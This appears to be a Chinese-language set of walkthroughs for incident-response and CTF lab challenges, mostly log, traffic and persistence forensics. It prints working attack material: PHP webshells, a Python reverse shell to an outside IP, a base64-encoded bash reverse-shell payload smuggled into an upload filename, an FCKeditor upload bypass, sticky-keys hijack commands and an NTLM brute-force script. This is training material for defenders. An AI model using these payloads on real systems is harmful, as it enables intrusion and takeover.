玄机靶场通关(持续更新)
玄机靶场通关
全部要VIP,所以穷鬼我要看别人的WP来学
Windows应急-应急与研判训练计划一
服务器场景操作系统 Windows
服务器账号密码 administrator P@ssw0rd
题目来源公众号 ©州弟学安全
任务环境说明
这是某单位正常运行的主机,但由于安全防范意识不到位,导致系统被攻击。目前已知攻击者成功接管了系统。
需要通过上机排查,利用开放的服务快速识别攻击者的操作、最终攻击成功的方法以及接管成功的IP。相关工具和全程流量数据已放置在桌面中。
1. 你需要根据环境内的所有工具和文件,附件等,根据应急响应形式快速排查出攻击者的所有行为
2. 你需要排查出攻击者最后利用成功的漏洞以及利用成功IP进行整理
3. 你需要自己按照攻击者思路写一份攻击者大概的攻击思路或攻击流程图
4. 你可以借助一切工具,你可以把它当作实战,这里没有任何约束条件
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
原文地址:Windows应急-应急与研判训练计划 - 玄机靶场_windows应急-应急与研判训练计划 一-CSDN博客、Windows应急-应急与研判训练计划 一-CSDN博客
步骤一:请找出攻击者攻击成功的端口,如多个端口,则从小到大
检查开放端口-netstat -nao
通过netstat
命令,发现 3389 端口(远程桌面)和 80/8080 端口(WEB 服务)开放。
这些端口的开放可能意味着系统可能被远程访问或有 WEB 服务在运行。
21 - FTP(文件传输协议)
80 - HTTP(网页服务)
135 - Microsoft RPC(远程过程调用)
445 - Microsoft-DS(用于共享文件和打印机)
3306 - MySQL 数据库
8080 - 常用于代理服务器或 Web 服务(如 Tomcat)
9000 - 可能是 PHP-FPM 或者 SonarQube 监听端口
端口 47001-49684 这些端口可能是 Windows 动态端口(Ephemeral Ports),用于临时连接。
答案:flag{21,3389,8080}
步骤二:请找出攻击者上传的恶意文件名
根据端口号查看服务-tasklist /fi "PID eq 628"
也可以如此分析tasklist | findstr "480 708 64 2144 612 1880 628"
tasklist|findstr 628
使用cmder工具可以在windows中使用linux中的命令如:cat、awk等等
分析得知,系统使用phpstudy搭建了两个web服务端口分别为80、8080,其中80为静态网站、8080为dedecms网站。
服务中间件是nginx,查看nginx日志文件,先查看了一下error.log,发现除了127.0.0.1还有192.168.18.133具有大量访问失败的记录并且访问的网站端口基本都是8080。
使用 awk "{print $1}" access.log | sort | uniq -c 可以统计访问者中源ip地址与其个数
awk
是一个文本处理工具,{print $1}
表示打印每一行的第 1 列(通常是访问者的 IP 地址)。
sort
命令会对提取出的 IP 地址进行排序,这样相同的 IP 会排列在一起,便于后续统计。
uniq
负责去重,-c
选项让它统计每个 IP 地址的出现次数。
查看access.log文件发现主要记录是127.0.0.1和192.168.18.133,所以几乎可以确定攻击者为:192.168.18.133
使用awk "$9!=404 {print $1,$6,$7,$9}" access.log
,在最后发现一个可疑的命令访问了phpinfo();
但是没有成功,恶意文件名应该就是为newfile1.php
'$9!=404'
:条件判断,表示如果第 9 列(HTTP 响应状态码)不等于 404,则执行 {print $1,$6,$7,$9}
。
{print $1,$6,$7,$9}
:
$1
:第一列,客户端 IP 地址。$6
:第六列,请求方法(如GET
、POST
)。$7
:第七列,请求的 URL 路径。$9
:第九列,HTTP 响应状态码。
攻击者通过newfile1.php
对phpinfo()
进行了访问,因此为恶意文件
答案:newfile1.php
awk "$9!=404 {print $1,$6,$7,$9}" access.log | grep POST
过滤POST相关的记录分析得应该是通过弱口令成功登录网站,然后通过网站后台写入木马。
/dede/login.php
是织梦CMS(DedeCMS)的默认后台登录路径。
192.168.18.133
成功登录了后台,最后应该是在templets_one_edit.php
中写入了木马。
-
可疑文件上传:
192.168.18.133 "POST /general/index/Upload File.php?m-uploadPicture&uploadType-eoffice_logo&userId= 403 192.168.18.18.133 "POST /module/ueditor/php/action_upload.php?action-uploadfile 403
- 尝试利用上传接口(如
Upload File.php
、UEditor的action_upload.php
)上传恶意文件,但部分请求被拦截(403)。
- 尝试利用上传接口(如
-
路径穿越与命令执行:
192.168.18.133 "POST /cgi-bin/.%2e/%20%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh 400 192.168.18.133 "POST /.%0d./.%0d./.%0d./.%0d./bin/sh%20HTTP/1.0 500
- 使用路径穿越(
../
)尝试执行系统命令(/bin/sh
),可能意图获取服务器控制权。
- 使用路径穿越(
-
PHP代码注入:
192.168.18.133 "POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input 200
- 通过修改PHP配置参数(
allow_url_include
和auto_prepend_file
),尝试从输入流执行任意PHP代码。
- 通过修改PHP配置参数(
-
敏感文件泄露:
192.168.18.133 "POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php 403
- 尝试通过路径穿越下载数据库配置文件(
database.php
),获取数据库凭据。
- 尝试通过路径穿越下载数据库配置文件(
在网站目录下搜索newfile得到了木马文件
<? @("Y;HJ(Z""8H;/Z.")(${"~?}$""!x8p"}[1]);
'Y' ^ '8' = 89 ^ 56 = 105 → 'i'
';' ^ 'H' = 59 ^ 72 = 115 → 's'
'H' ^ ';' = 72 ^ 59 = 115 → 's'
'J' ^ '/' = 74 ^ 47 = 101 → 'e'
'(' ^ 'Z' = 40 ^ 90 = 114 → 'r'
'Z' ^ '.' = 90 ^ 46 = 116 → 't'
'~' ^ '!' = 126 ^ 33 = 95 → '_'
'?' ^ 'x' = 63 ^ 120 = 95 → '_'
'}' ^ '8' = 125 ^ 56 = 69 → 'E'
'$' ^ 'p' = 36 ^ 112 = 84 → 'T'
"issert"
→ 实际应为 assert
(可能是混淆时的字符偏移误差)。
__ET
→ 实际应为 _POST
解密后即为:
<? @assert($_POST[1]);
步骤三:请找出攻击者最终攻击成功的端口
靶机给出流量包中进行分析:
我们通过对这靶机的了解不难看出,攻击者发现了目标后,通过对网站弱口令的爆破后放置恶意文件,最终拿下了整个服务器的权限,所以我们可以结合情况得知,真正攻击成功的端口是3389
答案:3389
步骤四:请找出攻击者最终攻击成功端口的IP
使用FullEventLogView工具对系统的事件进行查看发现攻击者的爆破行为与接管的主机为192.168.18.1
在 Windows 安全日志中:
- 事件 ID 4625 表示 登录失败(An account failed to log on)。
- 该事件通常在 Windows 安全日志(Security Log)中记录。
- 失败的登录尝试可能由于密码错误、账户锁定、用户不存在等原因。
配合其他事件 ID 进一步分析
- 成功登录(事件 ID 4624):如果一个 IP 先出现多个 4625,随后出现 4624,说明可能成功破解了密码。
- 账户锁定(事件 ID 4740):如果某个用户连续多次 4625,随后触发 4740,说明账户已被锁定。
答案:192.168.18.133
步骤五:请找出攻击者最后接管服务器的IP
答案:192.168.18.1
第九章-blueteam 的小心思
服务器场景操作系统 Linux
服务器账号密码 root qi5qaz
任务环境说明
注:进去后执行 sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
原文地址:玄机:第九章-blueteam 的小心思-CSDN博客、玄机——第九章-blueteam 的小心思 wp(HVV——“蓝队”应急响应简单模拟例题)-CSDN博客
步骤一:攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。
使用shell进行一个连接,执行命令
sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
sed
:流编辑器,用于文本替换、删除等操作。
-i
:表示直接修改文件,而不是输出到终端。
's/Listen 80/Listen 9999/'
:使用 sed
的替换命令(s/old/new/
),将 Listen 80
替换为 Listen 9999
。
/etc/apache2/ports.conf
:Apache 端口配置文件,通常包含 Listen 80
这样的配置项,表示 Apache 监听 80 端口。
service apache2 restart
:重新启动 Apache 服务器,使新的端口配置生效。
靶机可以通过这种方式,可以改变 Apache Web 服务器的默认监听端口,常用于避免端口冲突或者提升服务器的安全性(通过使用非标准端口)。
并把wireshark.pcap
文件下载到本地,用 wireshark 打开,使用显示过滤器过滤http:
直接找到了密码,经MD5加密即可
答案:"Aa12345^"
步骤二:攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。
我们可以查找一下“boundary”(boundary 一般常用在 multipart/form-data POST 请求中分隔不同的部分(part),例如文件和其他数据)
http contains "boundary"
可以发现这里上传了一个名为cpg.zip
的压缩包,并且其中包含了cpg.php
,内容为<?php @eval($_POST["m3"]);?>
的后门文件。
答案:"pluginmgr.php"的MD5值
步骤三:找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。
在shell中把网站根目录/var/www/html
文件下载下来再用D盾扫描:
答案:cpg.php文件的MD5值
步骤四:攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。
解题思路一:根据上传第一个webshell的时间来筛选前后下载的文件
stat cpg.php
stat
:用于显示文件或目录的详细状态信息。
现已确定文件修改时间(2023-11-18 07:39:36),及文件所有者(www-data);
使用以下命令分析前后两天用户“www-data”的行为:
find / -newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null | grep www-data
find /
—— 在整个系统中搜索
-newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00'
—— 按修改时间筛选
-newerct
按 "变更时间 (ctime
)" 进行比较,查找比指定日期更新的文件。加上!
即为反选
! -path '/proc/\*' ! -path '/sys/\*' ! -path '/run/\*'
—— 排除特定目录
/proc/
、/sys/
和/run/
目录是虚拟文件系统,通常包含系统运行时的信息,而不是普通文件,所以这些目录被排除。
-type f
—— 只搜索普通文件
-exec ls -lctr --full-time {} \+
—— 详细列出文件信息
-
-exec ... {} \+
:对找到的文件批量执行ls
命令,减少进程创建开销。 -
ls -lctr --full-time
选项解析:
-l
:详细模式(包含权限、所有者、文件大小等)。-c
:按文件ctime
(元数据修改时间)排序(默认ls
按mtime
排序)。-t
:按时间排序,最近修改的排在最后。-r
:反向排序,让最早修改的文件排在前面。--full-time
:显示完整的时间戳(包括秒和时区)。
2>/dev/null
—— 屏蔽错误信息
| grep www-data
—— 过滤出由 www-data
拥有的文件
解题思路二:继续分析流量包中的数据
可以发现攻击者利用上传的木马执行了在124.221.70.199
服务器中的is.world
文件
搜索该文件即可找到
答案:is.world文件的MD5值
步骤五:攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。
题目的意思为攻击者在攻击了靶机后创建了新用户
我们可以查看/etc/passwd 文件,其中包含了所有用户的信息,包括用户名和用户ID等:
cat /etc/passwd
最下面的账户 UID 和 GID 都是 0,意味着它具有与 root 用户相同的权限。
/home/knowledgegraphd
是这个用户的主目录。/bin/bash
是这个用户的默认 shell,允许用户执行命令,这进一步表明这是一个高权限用户。
答案:"knowledgegraphd"的MD5值
步骤六:攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
黑客在 Linux 系统上创建持久化配置项,以在任意用户登录时触发后门连接,通常会利用以下shell配置文件
常见的shell配置文件包括:
”~/.bashrc“:用于 Bash Shell,会在每次打开新的终端或登录 Shell 时执行。
”/.bash_profile“或”/.profile“:这些文件在用户登录时执行。
”~/.zshrc“:用于Zsh Shell,与”~/.bashrc“类似。
”/etc/profile“:为所有用户提供的系统级别的配置文件,
”/etc/bash.bashrc“:为所有用户提供的系统级别的配置文件,Bash Shell 专用。
在查看到profile文件时发现关键
cat /etc/profile
得到:
简单分析一下:
简单来说就是 /etc/profile 文件的内容,这是一个系统范围的配置文件,用于设置 Bourne shell(如 sh、bash、ksh 等)的全局环境变量和配置。
- 首先,这段代码检查是否存在交互式 shell 的环境变量
${PS1-}
。如果存在,它会进一步检查是否在 Bash 环境下,并且 Bash 的路径不是/bin/sh
。 - 如果是 Bash,并且存在
/etc/bash.bashrc
文件,则会载入该文件的配置。 - 如果当前用户是 root 用户(通过 id -u 命令检查),则设置提示符 PS1 为 #,表示超级用户权限。否则设置为 $,表示普通用户权限。
- 接下来就是黑客插入的后门程序:
/var/www/html/plugins/". "/is.world &
,它是一个恶意添加的行,试图运行一个不明的命令或程序。 - 最后,如果
/etc/profile.d
目录存在,则会加载该目录下所有可读的 .sh 结尾的脚本文件,以扩展 shell 的配置。
还有一种做法,就是一般这种配置在/etc,猜测是执行可执行文件,所以我们直接在"/etc"这个进行查找我们之前已知的可执行程序“is.world”;
我们使用命令:
grep -Er "is.world" /etc
-E
: 表示启用扩展的正则表达式(Extended Regular Expression)模式。这使得grep
可以识别更多的正则表达式语法。-r
: 表示递归地在指定目录及其子目录中搜索。
得到:
答案:"/etc/profile"的MD5值
步骤六:攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
跟上题差不多,只不过这里是只有root用户登录才会触发后门连接,那这里我们需要确定黑客可利用的文件或者位置,那这里我们就可以猜测了,如果黑客希望在只有root用户登录时才触发后门连,其它用户则不会,那他一般会挑选以下文件和目录;
“/root/.bashrc”:在root用户登录Bash Shell时执行;
“/root/.bash_profile”:在root用户登录时执行。
“/root/.profile”:在root用户登录时执行。
“/etc/profile”:所有用户登录时执行,但可以通过特定的条件使其仅在root用户登录时触发。(这个概率就非常大,且也符合我们的猜测)
“/etc/rc.local”:系统启动时执行,可以包含条件逻辑;
还是跟上题一样老操作,一个一个分析过去即可,最后也是在“/root/.bashrc”中发现关键:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
import socket,subprocess,os
导入必要的Python模块:socket
:用于网络通信。subprocess
:允许执行系统命令。os
:提供操作系统接口。
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
创建一个IPv4(AF_INET
)的TCP(SOCK_STREAM
)套接字对象。s.connect(("124.221.70.199",9919))
连接到远程IP地址124.221.70.199
的9919
端口。此IP和端口可能是攻击者控制的服务器。os.dup2(s.fileno(),0)
os.dup2()
用于复制文件描述符。- 将套接字的文件描述符(
s.fileno()
)复制到标准输入(0
),使得远程输入被当作本地输入。
os.dup2(s.fileno(),1)
将套接字的文件描述符复制到标准输出(1
),本地输出会发送到远程。os.dup2(s.fileno(),2)
将套接字的文件描述符复制到标准错误(2
),错误信息也会发送到远程。p=subprocess.call(["/bin/sh","-i"])
启动一个交互式Shell(/bin/sh -i
),并将输入/输出/错误重定向到套接字。此时,攻击者可通过远程服务器完全控制目标系统。&
将进程放到后台运行,避免被用户立即察觉。
答案:"/root/.bashrc"的MD5值
步骤八:攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。
数据库的登录信息(账号密码),一般都会储存在配置文件“config.inc.php”中,那我们这里还是直接定位配置文件位置过去查看即可:
find / -name config.inc.php
使用navitcat连接:
在“JPMorgan Chase”数据库中发现它打不开(啥都打不开);
报错,怀疑可能有加密;(符合题目要求,尝试进行MD5加密提交)
find / -name JPMorgan@0020Chase
得到:
答案:"JPMorgan@0020Chase"的MD5值
步骤九:解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。
题目让我们解密数据库,提交Harper用户对应的Areer的值并且进行MD5加密,那这里黑客肯定是对表“Balance”进行了什么操作才导致进不去,那我们就尝试查找一下黑客比文件“cpg.php“新,又比闻文件“Balance.frm”旧的所有文件:
find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm
-
生成基于当前日期的MD5哈希值作为加密密钥。
-
生成一个基于特定字符串的初始化向量(IV)。
-
遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC加密算法进行加密。
-
将加密后的内容覆盖写回到原文件。
简单来说就是这个PHP脚本的作用是对指定目录下的所有文件进行加密,指定目录那可不就是“/var/lib/mysql/JPMorgan@0020Chase”,那咋办嘞,直接写一个反推的脚本;
<?php
$currentDate = date("Y-m-d");
$key = md5('2023-11-18');
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
$files = scandir($filePath);
foreach ($files as $file) {
if ($file != "." && $file != "..") {
$fullPath = $filePath . '/' . $file;
$encryptedContent = file_get_contents($fullPath);
$decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);
file_put_contents($fullPath, $decryptedContent);
}
}
?>
- 使用固定的日期 “2023-11-18” 生成MD5哈希值作为解密密钥。
- 生成一个基于特定字符串的初始化向量(IV)。
- 遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC解密算法进行解密。
- 将解密后的内容覆盖写回到原文件。
把解密脚本写在/var/www/mysql/目录下即可
接着运行:
php 123.php
运行完成,就先不要急着返回刷新数据库,最好先重启一下数据库;
使用命令:
sudo systemctl restart mysql
返回数据库
答案:"Chef"的MD5值
步骤十:因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。
题目让我们找到黑客提权所使用的文件,既然说了提权那我们就可以直接使用命令查找系统中以 root 用户身份拥有并设置了 SUID(Set User ID)权限的文件。
find / -user root -perm -4000 2>/dev/null
-user root
: 查找所有属于 root 用户的文件。-perm -4000
: 查找设置了 SUID 位的文件(即特殊权限位)。4000
是八进制表示法,用于指定 SUID 位。-perm -4000
意味着查找具有 SUID 权限的文件,无论其他权限如何。
简单来说是为了查找被黑客利用的具有 SUID 权限的文件。设置了 SUID 位的文件在执行时将以文件所有者(通常是 root 用户)的权限运行,而不是以执行者的权限运行。黑客可能会利用这些文件进行提权攻击,即通过这些文件获取 root 权限,从而对系统进行更高权限的操作。
发现/usr/bin/sudo
:Sudo 是一个常见的提权工具,肯定会被滥用。
/usr/bin/sudo
:
使用广泛:Sudo 被广泛用于权限提升,如果配置中有漏洞,黑客可以利用 sudo 提权。
历史漏洞:Sudo 曾经存在一些被利用的漏洞,比如 CVE-2019-14287,可以绕过限制。
那我们进一步的分析一下/etc/sudoers
为什么会分析/etc/sudoers
呢?
权限配置:了解哪些用户或用户组被授予了 sudo 权限。如果配置不当,可能允许普通用户以 root 权限运行命令,从而导致安全问题。
命令限制:查看是否有特定用户被允许执行特定的命令,而不需要输入密码。如果这些命令存在漏洞,可能被黑客利用来提权。
安全策略:确认是否启用了安全策略,例如 requiretty 选项(要求 sudo 命令只能从终端运行),或 NOPASSWD 选项(允许某些命令无需密码运行)。
日志记录:检查 sudoers 文件中是否有日志记录配置,方便追踪 sudo 命令的使用情况。
简而言之: /etc/sudoers
包含了系统上 sudo 的配置和权限设置
cat /etc/sudoers
www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.service
:www-data
用户可以以 root
身份执行 /bin/systemctl
status
apache2.service
命令,并且无需输入密码。
答案:"/etc/sudoer"的MD5值
ciscn2023_hb_pysym
原文地址:[CISCN 2023 华北]pysym-CSDN博客
源码如下:
from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'
links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
if not os.path.isfile(filepath):
return '404', 404
return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=1337)
分析一下,首先检查上传文件是否为空以及文件大小,对文件名进行路径拼接,然后给出上传成功后随机的文件路径,try命令执行tar解压文件,这里存在RCE漏洞,我们可以利用|去命令执行
因为os.system是无回显的,我们尝试反弹shell
除此之外,发现当savepath包含一些特殊字符时会引发file.save(savepath)报错,用base64避免
1.tar | echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA+JjEn | base64 -d | bash |
随便上传一个文件,bp抓包修改文件名
反弹shell成功
日志分析-IIS日志分析
用户名:server2012
密码:URSZf3A
writeup来自菜鸟思路
提交时间:2025年02月21日
步骤一:phpstudy-2018站点日志.(.log文件)所在路径,提供绝对路径
找到IIS管理器->phpstudy2018站点 点击右侧日志浏览翻阅一下
打开IIS管理器(原文地址:Internet Information Services(IIS)管理器基本设置及创建网站_internet information services管理器-CSDN博客)
方法一:点 开始菜单,在程序列表里面找到 Windows管理工具,再在管理工具里面找到 Internet Information Services(IIS)管理器 打开即可。
方法二:打开控制面版,找到管理工具,再在管理工具里面找到 Internet Information Services(IIS)管理器 打开即可。
方法三:可以在桌面创建其快捷方式(在上面的方法二的管理工具中对图标点右键发送到桌面快捷方式)。
方法四:运行命令InetMgr。(最快捷的,但是需要记住这个命令)
步骤二:系统web日志中状态码为200请求的数量是多少
统计日志文件 u_ex250220.log
中第12列值为 200
的行数:
awk '$12 == 200 {count++} END {print count}' u_ex250220.log
(1) 条件 $12 == 200
$12
:表示当前行的第12个字段(默认以空格或制表符分隔)。== 200
:检查第12个字段的值是否为200
(通常表示 HTTP 状态码 200,即请求成功)。
(2) 动作 {count++}
- 当条件满足(第12列值为
200
)时,变量count
自增 1。
(3) END {print count}
END
:在所有行处理完成后执行的动作。print count
:输出count
的值(即符合条件的总行数)。
步骤三:系统web日志中出现了多少种请求方法
分析日志中 某字段的唯一值分布,即列出所有请求方法:
awk '{print $4}' u_ex250220.log |sort|uniq
awk '{print $4}'
提取日志文件u_ex250220.log
的 第4个字段(。- 第4列应该是请求方法。
sort
对提取的第4列数据进行排序,使相同内容连续排列。uniq
去重,仅保留唯一的第4列值。结合sort
后,uniq
可高效统计唯一项。
结果中只有(DELETE,GET,HEAD,OPTIONS,POST,PUT,TRACE七种是请求头)
步骤四:存在文件上传漏洞的路径是什么
查找 上传操作后触发重定向(302)的请求:
grep 'upload' u_ex250220.log |awk '{print}' |grep 302
grep 'upload'
筛选日志中包含关键词upload
的行(如上传文件相关的请求)。awk '{print}'
打印整行内容(此步骤可省略,因为grep
默认输出整行)。grep 302
进一步筛选包含302
的行(HTTP 状态码 302 表示临时重定向)。
步骤五:攻击者上传并且利⽤成功的webshell的⽂件名是什么
D盾扫一下,一个是shell.php 一个是window.php
或者用命令:
grep -rn --include=*.php 'eval('
grep -rn
-r
:递归搜索目录及其子目录。-n
:显示匹配行的行号。--include=*.php
:仅检查.php
文件。
eval(
搜索包含eval(
字符串的内容。
检测 PHP 代码中是否存在 eval()
函数的使用。
第八届西湖论剑IOT-sharkp
小李的摄像头被黑客入侵了,但只捕获到了单向的流量包,请分析摄像头固件与对应的流量,回答以下问题:
题目官方WP:
上:https://mp.weixin.qq.com/s/qefJ0YkKgXBUH0gyKGhImA
下:https://mp.weixin.qq.com/s/gXYLwdup6HYd_rETUSb9aA
如有侵权请联系群管理员删除
步骤一:攻击者利用摄像头哪个接口实现的RCE?
分析固件包
对alphapd程序进行逆向分析,定位到漏洞函数sub_42754C。
它在获取AdminID的值后拼接到sed命令里面执行。这里就存在命令注入漏洞。对这个函数进行交叉引用。发现其触发的路径路由为setSystemAdmin。
步骤二:攻击者回连的C2服务器ip地址是什么?
找到对应的流量包
发现它通过在AdminID字段注入telnetd命令开启了摄像头的telnet服务。
分析telnet流量,发现攻击者执行了以下命令:
攻击者从2.65.87.200:8000下载了b程序到本地执行。
过滤8000端口
发现返回包是一个ELF程序
将这个ELF提取出来,拖入IDA分析。
找系统调用,分析汇编代码,转换十六进制,得到ip地址为115.195.88.161
(0x73 = 115 0xC3 = 195 0x58 = 88 0xA1 = 161)
应急响应-vulntarget-j-02
不提供,需渗透进入。
题目镜像来源公众号:vulntarget
原文地址:玄机靶场——应急响应-vulntarget-j-02-CSDN博客
步骤一:服务器xuanji用户密码是什么
首先端口扫描服务器
这里原博主用了goby
发现有3389,5986,8000,18000为可以利用的端口
第二步使用kali里面的dirsearch进行目录扫描
在对18000端口进行目录扫描的时候,扫到了两个txt文本
进行查看,可以知道为 FCKeditor(一个HTML文本编辑器 )
FCKeditor(后更名为 CKEditor)是一款开源的 HTML 文本编辑器,主要用于在网页中实现富文本编辑功能(如格式化文本、插入图片、上传文件等)。
(扫描结果中出现的 license.txt
或 LICENSE.txt
可能是 FCKeditor 的版权声明文件,进一步佐证其存在。)
查找这个编辑器的漏洞利用,使用这两个地址,进行尝试查看版本号
(FCKeditor2.6.4.1编辑器漏洞利用 - FreeBuf网络安全行业门户、【渗透测试】--- FCKeditor文本编辑器漏洞_ckeditor漏洞-CSDN博客)
- /fckeditor/editor/dialog/fck_about.html
- /ckeditor/CHANGES.html
查看到版本号为2.6.4.1
然后测试FCKeditor上传点
test文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
发现只有后面两条存在上传点
brower文件上传地址
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp
/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp
但是发现这两个没有进行配置,所以使用上面的test页面进行文件上传,进行尝试
这里上传的时候,需要使用到二次上传
fckeditor <= 2.6.8 for asp
运用%00截断,首先上传文件名为shell.asp%00txt,结果为shell.asp_txt,再次上传同名文件,结果为shell(1).asp,成功绕过。
进行%00进行截断
上传这里,发现它把"."和其他字符转义成了"_"
再点一次上传,发现上传成功了一个asp文件,使用这个地址进行连接
可以进行正常连接
在C盘下,发现了一个图片1.png和密码本.xls
这里得到了xuanji这个账户的NTLM哈希值和大概的密码 H????vX97HMhM7T0rtv0
这里需要NTLM哈希值进行爆破
爆破脚本,找到密码: H6Du4vX97HMhM7T0rtv0
import itertools
import hashlib
def generate_ntlm_hash(password):
""" 计算字符串的NTLM哈希值 """
return hashlib.new('md4', password.encode('utf-16le')).hexdigest().upper()
def brute_force():
target_hash = "F7F2310C1233353705CA169324BCBE37"
prefix = "H"
suffix = "vX97HMhM7T0rtv0"
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" # 可自定义字符集
# 生成所有可能的4字符组合
for chars in itertools.product(charset, repeat=4):
candidate = prefix + ''.join(chars) + suffix
current_hash = generate_ntlm_hash(candidate)
if current_hash == target_hash:
print(f"[+] 找到密码: {candidate}")
return
print("[- 未找到匹配的密码")
if __name__ == "__main__":
brute_force()
因为之前进行端口扫描的时候有个3389端口打开着,所以可以
使用rdp进行登录
win+R
输入mstsc
步骤二:hacker添加的恶意用户是什么
使用net user
查看、
提交了一遍,发现没有正确的答案
去查看一下powershell的历史命令
地址:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
发现hacker删除了他自己建立的恶意用户
步骤三:hacker添加的计划任务后门,恶意程序名称是什么
打开计划任务管理
win+R
输入taskschd.msc
这里发现一个MyBackdoor的计划任务,查看操作,发现这个cmd.exe的文件路径很奇怪
正常的cmd.exe文件应该是C:\Windows\System32\cmd.exe,所以判断恶意程序的名称为cmd.exe
步骤四:hacker添加的恶意服务名称是什么
sc query state= all
-
查询系统中所有的 Windows 服务(包括运行中和未运行的)
-
显示服务名称、状态、类型等信息
列出所有服务,将其导入到一个txt文本里面进行分析
发现存在Redis服务
Redis:如果系统不需要Redis服务,突然出现可能可疑。
使用sc qc Redis
进行查看,发现它的启动程序又为一个不知名的cmd2.exe程序进行启动的
(sc qc
是 Windows Service Control(服务控制)*命令,用于*查询服务的详细配置信息。)
所以判断Redis为恶意服务名称
正常cmd.exe
的地址为C:\WINDOWS\system32
步骤五:hacker还添加了一种劫持后门,修改的windows本地可执行文件名称是什么
劫持后门可能涉及到系统文件替换:比如,utilman.exe被替换为cmd.exe,这样在登录界面可以通过轻松访问功能调出cmd,从而进行系统操作。
或者,可能修改了环境变量中的路径:将常见的程序如notepad.exe指向恶意文件,需要检查系统目录中是否有异常的可执行文件,或者查看最近被修改的系统文件的时间戳。
答案可能类似于utilman.exe
或者sethc.exe
,这些常被用于辅助功能劫持
-
utilman.exe
是 “辅助功能管理器”(Ease of Access Manager),用于管理 Windows 无障碍功能(如屏幕键盘、放大镜、旁白等)。 -
由于 utilman.exe 在锁屏界面可直接运行,黑客可替换
utilman.exe
为cmd.exe
,然后在锁屏界面按Win + U
,即可获取 SYSTEM 权限的终端:copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
之后重启,锁屏界面按
Win + U
,会直接打开 SYSTEM 权限的 cmd.exe,可以添加用户、启用管理员账户等。 -
sethc.exe
是 “粘滞键”(Sticky Keys) 功能的管理程序。 -
类似
utilman.exe
,攻击者可以用cmd.exe
替换sethc.exe
:
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
之后在锁屏界面连按 5 次 Shift,就能弹出 SYSTEM 权限的 cmd.exe,进而创建管理员账户、修改密码等。
步骤六:hacker上传的木马文件路径是什么
请通过iis服务器日志获取haker上传的木马文件访问路径
